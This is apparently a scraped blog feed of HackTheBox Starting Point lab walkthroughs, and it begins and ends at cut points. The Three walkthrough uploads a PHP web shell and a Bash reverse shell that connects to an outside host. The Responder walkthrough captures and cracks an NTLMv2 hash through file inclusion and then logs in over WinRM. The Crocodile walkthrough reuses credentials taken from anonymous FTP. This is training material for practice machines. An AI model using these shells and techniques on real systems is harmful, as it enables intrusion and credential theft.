enumeration?\ns3.thetoppers.htb\nGobuster\u0026rsquo;s vhost mode facilitates virtual host enumeration on our target.\nuser@kali:~$ gobuster vhost --help Uses VHOST enumeration mode ... Usage: gobuster vhost [flags] ... Flags: ... -u, --url string The target URL ... Global Flags: ... -w, --wordlist string Path to the wordlist ... user@kali:~$ Listing 9 - Help page for Gobuster's vhost module Familiarizing ourselves with the syntax, we run the tool using a wordlist from SecLists.\nuser@kali:~$ gobuster vhost -u http://thetoppers.htb/ -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt ... Starting gobuster in VHOST enumeration mode ... Found: s3.thetoppers.htb (Status: 404) [Size: 21] Found: gc._msdcs.thetoppers.htb (Status: 400) [Size: 306] ... user@kali:~$ Listing 10 - Using vhost enumeration on the target The scan reveals two possible subdomains. We use curl to investigate.\nuser@kali:~$ curl s3.thetoppers.htb curl: (6) Could not resolve host: s3.thetoppers.htb user@kali:~$ Listing 11 - Host resolution issue As before, we must manually add the host-to-IP resolution to our system \u0026ndash; this time for the subdomain.\nuser@kali:~$ echo -e \"# three-machine subdomain host-IP-mapping\\n$rhost s3.thetoppers.htb\" | sudo tee -a /etc/hosts # three-machine subdomain host-IP-mapping 10.129.165.251 s3.thetoppers.htb user@kali:~$ Listing 12 - Fixed host resolution for the subdomain With hostname resolution configured, we query the subdomain again.\nuser@kali:~$ curl s3.thetoppers.htb {\"status\": \"running\"} user@kali:~$ Listing 13 - Running S3 bucket Task-5 Question: Which service is running on the discovered sub-domain?\namazon s3\nSearching online for \u0026ldquo;s3 subdomain {\u0026lsquo;status\u0026rsquo;: \u0026lsquo;running\u0026rsquo;} service\u0026rdquo; clarifies the service identity.\nTask-6 Question: Which command line utility can be used to interact with the service running on the discovered sub-domain?\nawscli\nA quick search leads us to the aws command. No man page is installed locally, so we consult the built-in help documentation.\nAWS() AWS()\n\u0026hellip;\nNAME\naws -\n\u0026hellip;\nDESCRIPTION\nThe AWS Command Line Interface is a unified tool to manage your AWS services. \u0026hellip;\nSYNOPSIS\naws [options] \u0026lt;command\u0026gt; \u0026lt;subcommand\u0026gt; [parameters]\n\u0026hellip;\nUse aws command help for information on a specific command. Use aws\nhelp topics to view a list of available help topics. The synopsis for\neach command shows its parameters and their usage. Optional parameters\nare shown in square brackets.\n\u0026hellip;\nOPTIONS\n\u0026hellip;\nListing 14 - AWS help page Task-7 Question: Which command is used to set up the AWS CLI installation?\naws configure\nRunning aws configure help provides detailed information regarding this command\u0026rsquo;s purpose.\nCONFIGURE() CONFIGURE()\n\u0026hellip;\nNAME\nconfigure -\n\u0026mdash;\nDESCRIPTION\nConfigure AWS CLI options. If this command is run with no arguments,\nyou will be prompted for configuration values such as your AWS Access\nKey Id and your AWS Secret Access Key.\n\u0026hellip;\nCONFIGURATION VARIABLES\n\u0026hellip;\nListing 15 - Help page for 'aws configure' Task-8 Question: What is the command used by the above utility to list all of the S3 buckets?\naws s3 ls\nAs with the previous task, we use the built-in --help option \u0026ndash; this time with the s3 command: aws s3 help.\n\u0026hellip;\nAVAILABLE COMMANDS\no cp\no ls\no mb\no mv\no presign\no rb\no rm\no sync\no website\n\u0026hellip; Listing 16 - Help page for 'aws s3' Then we examine the s3 ls command specifically: aws s3 ls help.\nLS() LS()\n\u0026hellip;\nNAME\nls -\nDESCRIPTION\nList S3 objects and common prefixes under a prefix or all S3 buckets.\nNote that the \u0026ndash;output and \u0026ndash;no-paginate arguments are ignored for this\ncommand.\nSee \u0026lsquo;aws help\u0026rsquo; for descriptions of global parameters.\nSYNOPSIS\nls\n\u0026lt;S3Uri\u0026gt; or NONE\n[\u0026ndash;recursive]\n[\u0026ndash;page-size \u0026lt;value\u0026gt;]\n[\u0026ndash;human-readable]\n[\u0026ndash;summarize]\n[\u0026ndash;request-payer \u0026lt;value\u0026gt;]\nOPTIONS\n\u0026hellip;\nListing 17 - Help page for 'aws s3 ls' Attempting to list S3 objects under the s3.thetoppers.htb domain initially produces an error.\nuser@kali:~$ aws --endpoint-url http://s3.thetoppers.htb/ s3 ls Unable to locate credentials. You can configure credentials by running \"aws configure\". user@kali:~$ Listing 18 - AWS configuration issue We configure AWS with sample data to resolve this.\nuser@kali:~$ aws configure AWS Access Key ID [None]: test AWS Secret Access Key [None]: test Default region name [None]: test Default output format [None]: test user@kali:~$ Listing 19 - Configuring AWS with sample data Retrying the listing command now succeeds, revealing one S3 Bucket available in the subdomain.\nuser@kali:~$ aws --endpoint-url http://s3.thetoppers.htb/ s3 ls ... thetoppers.htb user@kali:~$ Listing 20 - Listing available S3 buckets The aws s3 ls help page provides a helpful example for listing bucket contents.\nExample 2: Listing all prefixes and objects in a bucket\n\u0026hellip;\nThe following ls command lists objects and common prefixes under a\nspecified bucket and prefix. In this example, the user owns the bucket\nmybucket with the objects test.txt and somePrefix/test.txt. The Last-\nWriteTime and Length are arbitrary. Note that since the ls command has\nno interaction with the local filesystem, the s3:// URI scheme is not\nrequired to resolve ambiguity and may be omitted:\n\u0026hellip;\naws s3 ls s3://mybucket\n\u0026hellip;\nOutput:\n\u0026hellip;\nPRE somePrefix/\n\u0026hellip; 88 test.txt\n\u0026hellip;\nListing 21 - Helpful example from the 'aws s3 ls' help page Applying this approach to list objects in the available bucket proves successful.\nuser@kali:~$ aws --endpoint-url http://s3.thetoppers.htb/ s3 ls s3://thetoppers.htb PRE images/ ... 0 .htaccess ... 11952 index.php user@kali:~$ Listing 22 - Enumerating objects in the S3 bucket We observe that the bucket\u0026rsquo;s root directory matches the website\u0026rsquo;s root directory.\nTask-9 Question: This server is configured to run files written in what web scripting language?\nphp\nInterestingly, the Wappalyzer Firefox extension fails to identify the programming language on the landing page \u0026ndash; http://thetoppers.htb.\nHowever, upon modifying the URL to http://thetoppers.htb/index.php \u0026ndash; which we discovered during directory busting in Task-1 \u0026ndash; the extension correctly identifies PHP as the web scripting language.\nSubmit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nWe now synthesize the intelligence gathered throughout the previous tasks. Our key findings include:\nThe S3 bucket\u0026rsquo;s root directory matches the website\u0026rsquo;s root directory The web server executes PHP files Therefore, we attempt to upload a PHP file that the target system can execute.\nThe following simple PHP script executes (on the target system) whatever command is passed via the cmd URL parameter.\n\u0026lt;?php system($_GET[\u0026#34;cmd\u0026#34;]); ?\u0026gt; Listing 23 - PHP web shell We write this code to a file for later upload to the bucket. It is crucial to save it with the .php extension; otherwise, the server will not execute it.\nuser@kali:~$ echo '\u0026lt;?php system($_GET[\"cmd\"]); ?\u0026gt;' \u003e test.php user@kali:~$ cat test.php \u0026lt;?php system($_GET[\"cmd\"]); ?\u0026gt; user@kali:~$ Listing 24 - Preparing the web shell Next, we attempt the upload. The aws s3 cp help page provides useful examples.\n\u0026hellip;\nEXAMPLES\nCopying a local file to S3\nThe following cp command copies a single file to a specified bucket and\nkey:\naws s3 cp test.txt s3://mybucket/test2.txt\nOutput:\nupload: test.txt to s3://mybucket/test2.txt\n\u0026hellip;\nListing 25 - Help page for 'aws s3 cp' Following these examples, we upload our PHP script \u0026ndash; the test.php file.\nuser@kali:~$ aws --endpoint-url http://s3.thetoppers.htb/ s3 cp test.php s3://thetoppers.htb/test.php upload: ./test.php to s3://thetoppers.htb/test.php user@kali:~$ Listing 26 - Uploading the web shell With the upload successful, we verify functionality by triggering the shell.\nuser@kali:~$ curl http://thetoppers.htb/test.php?cmd=whoami www-data user@kali:~$ Listing 27 - Triggering the web shell The web shell executes commands as expected. Our next step is to upload a reverse shell. We use the following simple Bash reverse shell:\n#!/bin/bash bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.46/4321 0\u0026gt;\u0026amp;1 Listing 28 - Simple Bash reverse shell We write this to a file and save it as a Bash script \u0026ndash; revshell.sh \u0026ndash; with the .sh extension.\nuser@kali:~$ cat revshell.sh #!/bin/bash bash -i \u003e\u0026 /dev/tcp/10.10.14.46/4321 0\u003e\u00261 user@kali:~$ Listing 29 - Preparing the reverse shell Then we upload it.\nuser@kali:~$ aws --endpoint-url http://s3.thetoppers.htb/ s3 cp revshell.sh s3://thetoppers.htb/revshell.sh upload: ./revshell.sh to s3://thetoppers.htb/revshell.sh user@kali:~$ Listing 30 - Reverse shell upload We start a Netcat listener in a new terminal to catch the incoming connection.\nuser@kali:~$ nc -lnvp 4321 ... Ncat: Listening on :::4321 Ncat: Listening on 0.0.0.0:4321 ... Listing 31 - Starting Netcat listener We must now trigger the reverse shell. We attempt to run bash revshell.sh on the target via our web shell. Initially, this produces an error.\nuser@kali:~$ curl \"http://thetoppers.htb/test.php?cmd=bash revshell.sh\" curl: (3) URL using bad/illegal format or missing URL user@kali:~$ Listing 32 - URL formatting issue The error occurs because the URL contains an unencoded space. We replace the space character with its URL-encoded equivalent, %20.\nuser@kali:~$ $curl \"http://thetoppers.htb/test.php?cmd=bash%20revshell.sh\" Listing 33 - Triggering the reverse shell The command appears to hang, producing no output. However, switching to our Netcat listener terminal reveals a successful connection.\nNcat: Connection from 10.129.165.251. Ncat: Connection from 10.129.165.251:58772. bash: cannot set terminal process group (1527): Inappropriate ioctl for device bash: no job control in this shell www-data@three:/var/www/html$ whoami whoami www-data www-data@three:/var/www/html$ Listing 34 - Catching the reverse shell The flag file is not present in our current directory, so we search the filesystem. Ultimately, we locate it at /var/www/flag.txt.\nwww-data@three:/var/www/html$ cd .. cd .. www-data@three:/var/www$ ls ls flag.txt html www-data@three:/var/www$ cat flag.txt\tcat flag.txt \u0026lt;redacted-flag\u0026gt; www-data@three:/var/www$ Listing 35 - Enumerating the target machine for the flag Congratulations \u0026ndash; we have completed the challenge. All that remains is to terminate the target box (if not terminated automatically) and proceed to the next challenge!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-1/three/","summary":"HackTheBox | Starting Point | Tier 1 | Three","title":"Three"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 1\nMachine: Responder\nReleased: 06/04/2022 MACHINE SYNOPSIS\nResponder is a very easy Windows machine that focuses on exploring the File Inclusion vulnerability on a web application and how this can be leveraged to collect the NetNTLMv2 challenge of the user that is running the web server. The machine showcases the Responder utility and the hash cracking tool John The Ripper to obtain a cleartext password from an NTLM hash. Finally, the Evil-WinRM tool can be used to get a terminal on the machine using the acquired credentials.\nPreparations There are several methods for connecting to the target machine. Throughout this walkthrough, we will use the provided pwnbox.\nOnce we have established our connection, we spawn the target machine.\nAdditionally \u0026ndash; even though it is not required \u0026ndash; we can set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we can access it easily by prepending $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can remove the variable with the unset command when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: When visiting the web service using the IP address, what is the domain that we are being redirected to?\nunika.htb\nAs always, we begin with initial reconnaissance.\nuser@kali:~$ nmap -p- -sV $rhost ... PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows ... user@kali:~$ Listing 3 - All-ports TCP scan As the output indicates, only two TCP ports are open on our target machine. To examine the web server, we can enter the target machine\u0026rsquo;s IP address into our browser.\nThe first thing we might notice is that our browser redirects to a web page called unika.htb.\nThe second is that attempting to load unika.htb in our browser fails, displaying a \u0026ldquo;Server Not Found\u0026rdquo; error.\nTo resolve this, we add the following line to our host configuration file. For the pwnbox (Parrot OS, Debian-based), this file is located at /etc/hosts.\n# mapping responder\u0026rsquo;s IP to hostname\n\u0026lt;target-ip\u0026gt; unika.htb\nListing 4 - Adding DNS resolution for unika.htb Once hostname resolution is configured, the web page loads normally in our browser.\nFigure 1: Unika landing page\nTask-2 Question: Which scripting language is being used on the server to generate webpages?\nphp\nStill in our initial reconnaissance phase, we can use a tool called WhatWeb to answer this question.\nIt is always good practice to consult the tool\u0026rsquo;s man page \u0026ndash; use man whatweb \u0026ndash; before using it.\nWHATWEB(1) General Commands Manual WHATWEB(1)\nNAME\nWhatWeb - Next generation Web scanner. Identify technologies used by websites.\nSYNOPSIS\nwhatweb [options] \u0026lt;URLs\u0026gt;\nDESCRIPTION\nWhatWeb identifies websites. It\u0026rsquo;s goal is to answer the question, \u0026ldquo;What is that Web‐..\n\u0026hellip;\nListing 5 - WhatWeb man page Scanning our target provides not only the answer to the current task but also confirms that a redirection is in place.\nuser@kali:~$ whatweb $rhost http://10.129.163.153 [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1], IP[10.129.163.153], Meta-Refresh-Redirect[http://unika.htb/], OpenSSL[1.1.1m], PHP[8.1.1], X-Powered-By[PHP/8.1.1] ERROR Opening: http://unika.htb/ - no address for unika.htb user@kali:~$ Listing 6 - Using WhatWeb on the target machine Similarly, running gobuster might reveal interesting pages:\nuser@kali:~$ gobuster dir -u http://unika.htb/ -w /usr/share/wordlists/dirb/common.txt ... /.htpasswd (Status: 403) [Size: 298] /.htaccess (Status: 403) [Size: 298] /aux (Status: 403) [Size: 298] /cgi-bin/ (Status: 403) [Size: 298] /com2 (Status: 403) [Size: 298] /com1 (Status: 403) [Size: 298] /com3 (Status: 403) [Size: 298] /con (Status: 403) [Size: 298] /css (Status: 301) [Size: 328] [--\u003e http://unika.htb/css/] /img (Status: 301) [Size: 328] [--\u003e http://unika.htb/img/] /inc (Status: 301) [Size: 328] [--\u003e http://unika.htb/inc/] /index.php (Status: 200) [Size: 46453] /js (Status: 301) [Size: 327] [--\u003e http://unika.htb/js/] /licenses (Status: 403) [Size: 417] /lpt1 (Status: 403) [Size: 298] /lpt2 (Status: 403) [Size: 298] /examples (Status: 503) [Size: 398] /nul (Status: 403) [Size: 298] /phpmyadmin (Status: 403) [Size: 417] /prn (Status: 403) [Size: 298] /server-info (Status: 403) [Size: 417] /server-status (Status: 403) [Size: 417] /webalizer (Status: 403) [Size: 417] ... user@kali:~$ Listing 7 - Directory enumeration with Gobuster At first glance, nothing stands out, so we continue with our reconnaissance.\nTask-3 Question: What is the name of the URL parameter which is used to load different language versions of the webpage?\npage\nNavigating to our target\u0026rsquo;s website and exploring its functionality, we notice that selecting different languages results in interesting changes to the URL.\nFigure 2: Language switch modifies page parameter\nTask-4 Question: Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability:\nfrench.html //10.10.14.6/somefile ../../../../../../../../windows/system32/drivers/etc/hosts minikatz.exe ../../../../../../../../windows/system32/drivers/etc/hosts\nWe can verify whether the web page location we found is vulnerable to LFI by attempting to access a local file on the target server.\nFirst, however, we need to determine our location on the target. We attempt to access the current directory with ./ and hope that error messages will leak additional information.\nWe can do this either by modifying the URL in our browser to http://unika.htb/index.php?page=./ or by using curl (consult its man page for further information).\nFigure 3: Potential LFI vulnerability\nuser@kali:~$ curl http://unika.htb/index.php?page=./ ... ... include(C:\\xampp\\htdocs): Failed to open stream: Permission denied in ... C:\\xampp\\htdocs\\index.php ... on line ... 11 ... ... ... include(): Failed opening './' for inclusion (include_path='\\xampp\\php\\PEAR') in ... C:\\xampp\\htdocs\\index.php ... on line ... 11 ... user@kali:~$ Listing 8 - Sensitive error message helping with LFI From the output, we can infer that the file we attempted to access is located in either C:\\xampp\\htdocs\\ or C:\\xampp\\php\\.\nTo traverse the directories and access the hosts file on the target, we must navigate backward at least twice before specifying the hosts file path.\nuser@kali:~$ curl http://unika.htb/index.php?page=../../windows/system32/drivers/etc/hosts ... # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. ... # localhost name resolution is handled within DNS itself. #\t127.0.0.1 localhost #\t::1 localhost user@kali:~$ Listing 9 - Exploited LFI vulnerability We have successfully identified an LFI vulnerability.\nTask-5 Question: Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability:\nfrench.html //10.10.14.6/somefile ../../../../../../../../windows/system32/drivers/etc/hosts minikatz.exe //10.10.14.6/somefile\nDisabling the HTTP server in /usr/share/responder/Responder.conf allows Responder to operate on port 80.\nOnce we run Responder and begin listening for events, a welcome message displays its running configuration. Importantly, this output includes the IP address through which Responder can be accessed.\nuser@kali:~$ sudo responder -I tun0 ... [+] Poisoners: LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: HTTP server [OFF] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] RDP server [ON] DCE-RPC server [ON] WinRM server [ON] [+] HTTP Options: Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Fingerprint hosts [OFF] [+] Generic Options: Responder NIC [tun0] Responder IP [10.10.14.30] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Current Session Variables: Responder Machine Name [WIN-MW3EU9AUBEK] Responder Domain Name [9LC1.LOCAL] Responder DCE-RPC Port [48718] [+] Listening for events... Listing 10 - Running Responder and listening We supply this address to our target via the LFI vulnerability we discovered. When the target attempts to include the file we provided, it automatically attempts to authenticate against our Responder instance.\nuser@kali:~$ curl http://unika.htb/index.php?page=//10.10.14.30/somefile ... ... include(\\\\10.10.14.30\\SOMEFILE): Failed to open stream: Permission denied in ... C:\\xampp\\htdocs\\index.php ... ... ... include(): Failed opening '//10.10.14.30/somefile' for inclusion (include_path='\\xampp\\php\\PEAR') in ... C:\\xampp\\htdocs\\index.php ... ... user@kali:~$ Listing 11 - Exploiting RFI vulnerability Because our Responder is listening, we capture not only the username that our target provides but also its response to our NTLM challenge.\n[+] Listening for events... [SMB] NTLMv2-SSP Client : 10.129.95.234 [SMB] NTLMv2-SSP Username : RESPONDER\\Administrator [SMB] NTLMv2-SSP Hash : Administrator::RESPONDER:a8750f2f141730ce:206BE3774A31A5055156CDBD66EC79B2:01010000000000000060F0D3FC80D90190C13FA75A83A9BD000000000200080039004C004300310001001E00570049004E002D004D005700330045005500390041005500420045004B0004003400570049004E002D004D005700330045005500390041005500420045004B002E0039004C00430031002E004C004F00430041004C000300140039004C00430031002E004C004F00430041004C000500140039004C00430031002E004C004F00430041004C00070008000060F0D3FC80D901060004000200000008003000300000000000000001000000002000004D6B32FFC31E455834C10B1E7584A0120257353A272A5BE624157BBD172E4B180A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00330030000000000000000000 [+] Exiting... user@kali:~$ Listing 12 - Responder catches NTLM response We now have an NTLMv2 hash to crack.\nTask-6 Question: What does NTLM stand for?\nnew technology lan manager\nThis information can be found through standard research methods.\nTask-7 Question: Which flag do we use in the Responder utility to specify the network interface?\n-I\nBecause Responder does not have a man page, we consult its --help output.\nuser@kali:~$ man responder No manual entry for responder user@kali:~$ responder --help ... Usage: responder -I eth0 -w -r -f or: responder -I eth0 -wrf ... Options: ... -I eth0, --interface=eth0 Network interface to use, you can use 'ALL' as a wildcard for all interfaces ... user@kali:~$ Listing 13 - Responder help output We used this option in Task-5 to start Responder.\nTask-8 Question: There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?\njohn the ripper\nThis information can be found through standard research methods.\nTask-9 Question: What is the password for the administrator user?\nbadminton\nTo obtain the password for the Administrator user, we must crack the NTLM hash collected in Task-5. First, we write the hash to a file.\nuser@kali:~$ echo \"Administrator::RESPONDER:a8750f2f141730ce:206BE3774A31A5055156CDBD66EC79B2:01010000000000000060F0D3FC80D90190C13FA75A83A9BD000000000200080039004C004300310001001E00570049004E002D004D005700330045005500390041005500420045004B0004003400570049004E002D004D005700330045005500390041005500420045004B002E0039004C00430031002E004C004F00430041004C000300140039004C00430031002E004C004F00430041004C000500140039004C00430031002E004C004F00430041004C00070008000060F0D3FC80D901060004000200000008003000300000000000000001000000002000004D6B32FFC31E455834C10B1E7584A0120257353A272A5BE624157BBD172E4B180A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00330030000000000000000000\" \u003e ntlm_hash user@kali:~$ Listing 14 - Writing captured NTLM hash to a file Then we run john with the rockyou.txt wordlist against our captured NTLM challenge-response hash.\nuser@kali:~$ john --wordlist=/usr/share/wordlists/rockyou.txt ntlm_hash ... Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) No password hashes left to crack (see FAQ) user@kali:~$ Listing 15 - Using John the Ripper to crack the captured NTLM hash If the password was found but is no longer displayed (it appears only on the first run), we can retrieve it directly.\nuser@kali:~$ john --show ntlm_hash Administrator:badminton:RESPONDER:a8750f2f141730ce:206BE3774A31A5055156CDBD66EC79B2:01010000000000000060F0D3FC80D90190C13FA75A83A9BD000000000200080039004C004300310001001E00570049004E002D004D005700330045005500390041005500420045004B0004003400570049004E002D004D005700330045005500390041005500420045004B002E0039004C00430031002E004C004F00430041004C000300140039004C00430031002E004C004F00430041004C000500140039004C00430031002E004C004F00430041004C00070008000060F0D3FC80D901060004000200000008003000300000000000000001000000002000004D6B32FFC31E455834C10B1E7584A0120257353A272A5BE624157BBD172E4B180A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00330030000000000000000000 user@kali:~$ Listing 16 - Cracked NTLM hash Task-10 Question: We\u0026rsquo;ll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?\n5985\nBecause we retained the Nmap results from Task-1, the answer follows directly from our earlier reconnaissance.\nSubmit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nCollected credentials from Task-9:\nUsername: Administrator, Password: badminton Using the credentials obtained in Task-9, we access the target via the WinRM service, which runs on TCP port 5985. Once connected, we locate our flag at C:\\Users\\mike\\Desktop\\flag.txt.\nuser@kali:~$ evil-winrm -i $rhost -u Administrator -p badminton -P 5985 ... *Evil-WinRM* PS C:\\Users\\Administrator\\Documents\u003e cd ..\\..\\ *Evil-WinRM* PS C:\\Users\u003e ls ... d----- ... mike ... *Evil-WinRM* PS C:\\Users\u003e cd mike *Evil-WinRM* PS C:\\Users\\mike\u003e ls ... d----- ... Desktop ... *Evil-WinRM* PS C:\\Users\\mike\u003e cd Desktop *Evil-WinRM* PS C:\\Users\\mike\\Desktop\u003e ls ... -a---- ... 32 flag.txt ... *Evil-WinRM* PS C:\\Users\\mike\\Desktop\u003e cat flag.txt \u0026lt;redacted-flag\u0026gt; *Evil-WinRM* PS C:\\Users\\mike\\Desktop\u003e exit ... user@kali:~$ Listing 17 - Enumerating the target via WinRM Congratulations \u0026ndash; we have successfully completed the challenge. All that remains is to terminate the target box (if it has not been terminated automatically) before proceeding to the next box!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-1/responder/","summary":"HackTheBox | Starting Point | Tier 1 | Responder","title":"Responder"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 1\nMachine: Crocodile\nReleased: 06/10/2021 MACHINE SYNOPSIS\nCrocodile is a very easy Linux machine which showcases the dangers of misconfigured authentication and sensitive data exposure. A vulnerable FTP server instance is misconfigured to allow anonymous authentication and upon enumerating the server, sensitive files can be found containing cleartext credentials. Enumerating and fuzzing the website will reveal a hidden login endpoint where the previously acquired credentials can be used to gain access to the admin panel.\nPreparations There are several ways to connect to the target machine. For this walkthrough, we use the provided pwnbox.\nOnce our connection is established, we spawn the target machine.\nAdditionally \u0026ndash; even though it is not required \u0026ndash; we can set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we can access it easily by prepending a $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can remove the variable later with the unset command.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: What Nmap scanning switch employs the use of default scripts during a scan?\n-sC\nWe use Nmap\u0026rsquo;s built-in --help option to find the correct answer.\nuser@kali:~$ nmap --help ... Usage: nmap [Scan Type(s)] [Options] {target specification} ... SCRIPT SCAN: -sC: equivalent to --script=default ... user@kali:~$ Listing 3 - Nmap's help page Task-2 Question: What service version is found to be running on port 21?\nvsftpd 3.0.3\nFirst, we check the open TCP ports on the target. Then we determine the running services and their versions. Two top ports are open: port 21 and port 80.\nuser@kali:~$ nmap $rhost ... PORT STATE SERVICE 21/tcp open ftp 80/tcp open http ... user@kali:~$ nmap -sC -sV -p 21,80 $rhost ... PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 ... | ftp-anon: Anonymous FTP login allowed (FTP code 230) ... 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) ... user@kali:~$ Listing 4 - Version and script scanning TCP ports 21 and 80 Task-3 Question: What FTP code is returned to us for the Anonymous FTP login allowed message?\n230\nWe simply take another look at the Nmap scan results from the previous task.\nTask-4 Question: After connecting to the FTP server using the ftp client, what username do we provide when prompted to log in anonymously?\nanonymous\nWe look up \u0026ldquo;ftp anonymous login\u0026rdquo; online. The answer should be straightforward.\nThen we attempt to log in. If we are unsure about the correct ftp command usage, we can consult its manual page with man ftp.\nOnce logged in, we use help to list all available commands.\nuser@kali:~$ ftp $rhost 21 Connected to 10.129.1.15. 220 (vsFTPd 3.0.3) Name (10.129.1.15:root): anonymous 230 Login successful. ... ftp\u003e help Commands may be abbreviated. Commands are: !\tdir\tmdelete\tqc\tsite \u0026#36;\tdisconnect\tmdir\tsendport\tsize ... ftp\u003e Listing 5 - Anonymously connecting to the remote FTP service Task-5 Question: After connecting to the FTP server anonymously, what command can we use to download the files we find on the FTP server?\nget\nWe use the help command to see the available commands. Then we get more information about the get subcommand.\nftp\u003e help get get receive file ftp\u003e Listing 6 - Getting more information about the get subcommand Task-6 Question: What is one of the higher-privilege sounding usernames in allowed.userlist that we download from the FTP server?\nadmin\nWe list all files in the current directory and then use the get command to download them.\nftp\u003e help ls ls list contents of remote directory ftp\u003e ls ... -rw-r--r-- 1 ftp ftp 33 ... allowed.userlist -rw-r--r-- 1 ftp ftp 62 ... allowed.userlist.passwd ... ftp\u003e get allowed.userlist ... ftp\u003e get allowed.userlist.passwd ... ftp\u003e Listing 7 - Enumerating the remote FTP share and downloading its contents Once the download finishes, we examine the files.\nuser@kali:~$ cat allowed.userlist aron pwnmeow egotisticalsw admin user@kali:~$ cat allowed.userlist.passwd root Supersecretpassword1 @BaASD\u00269032123sADS rKXM59ESxesUFHAd user@kali:~$ Listing 8 - Examining the downloaded contents Task-7 Question: What version of Apache HTTP Server is running on the target host?\nApache httpd 2.4.41\nWe take a closer look at the scan results from Task-2.\nTask-8 Question: What switch can we use with Gobuster to specify we are looking for specific filetypes?\n-x\nWe consult the help documentation again.\nuser@kali:~$ gobuster dir --help Uses directory/file enumeration mode Usage: gobuster dir [flags] Flags: ... -x, --extensions string File extension(s) to search for ... user@kali:~$ Listing 9 - Gobuster directory enumeration help page Task-9 Question: Which PHP file can we identify with directory brute force that will provide the opportunity to authenticate to the web service?\nlogin.php\nWe run Gobuster with the common word list \u0026ndash; /usr/share/wordlists/dirb/common.txt \u0026ndash; to search for .php files on the target machine.\nuser@kali:~$ gobuster dir -x php -u http://$rhost/ -w /usr/share/wordlists/dirb/common.txt ... /.hta (Status: 403) [Size: 276] /.hta.php (Status: 403) [Size: 276] /.htaccess (Status: 403) [Size: 276] /.htpasswd (Status: 403) [Size: 276] /.htaccess.php (Status: 403) [Size: 276] /.htpasswd.php (Status: 403) [Size: 276] /assets (Status: 301) [Size: 311] [--\u003e http://10.129.1.15/assets/] /config.php (Status: 200) [Size: 0] /css (Status: 301) [Size: 308] [--\u003e http://10.129.1.15/css/] /dashboard (Status: 301) [Size: 314] [--\u003e http://10.129.1.15/dashboard/] /fonts (Status: 301) [Size: 310] [--\u003e http://10.129.1.15/fonts/] /index.html (Status: 200) [Size: 58565] /js (Status: 301) [Size: 307] [--\u003e http://10.129.1.15/js/] /login.php (Status: 200) [Size: 1577] /logout.php (Status: 302) [Size: 0] [--\u003e login.php] /server-status (Status: 403) [Size: 276] ... user@kali:~$ Listing 10 - Looking for PHP files with Gobuster Submit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nWe use a browser to visit http://\u0026lt;target-ip\u0026gt;/login.php.\nFigure 1: Login page\nThen we try the credentials collected from Task-6:\nUsername: admin, Password: rKXM59ESxesUFHAd. The credentials work, and we are greeted with the flag.\nFigure 2: Redacted flag for successful login\nMake sure to terminate the target box before continuing with the next machine!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-1/crocodile/","summary":"HackTheBox | Starting Point | Tier 1 | Crocodile","title":"Crocodile"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 1\nMachine: Sequel\nReleased: 06/10/2021 MACHINE SYNOPSIS\nSequel is a very easy Linux machine that introduces a vulnerable MySQL service misconfigured to allow access without a password. The machine showcases how to enumerate and interact with the database through SQL queries to extract critical information.\nPreparations There are several methods for connecting to the target machine. Throughout this walkthrough, we utilize the provided pwnbox.\nOnce our connection is established, we spawn the target machine.\nAdditionally \u0026ndash; though not required \u0026ndash; we may set a local shell variable containing the target host\u0026rsquo;s IP address. Once defined, we can access it by prepending $ to the variable 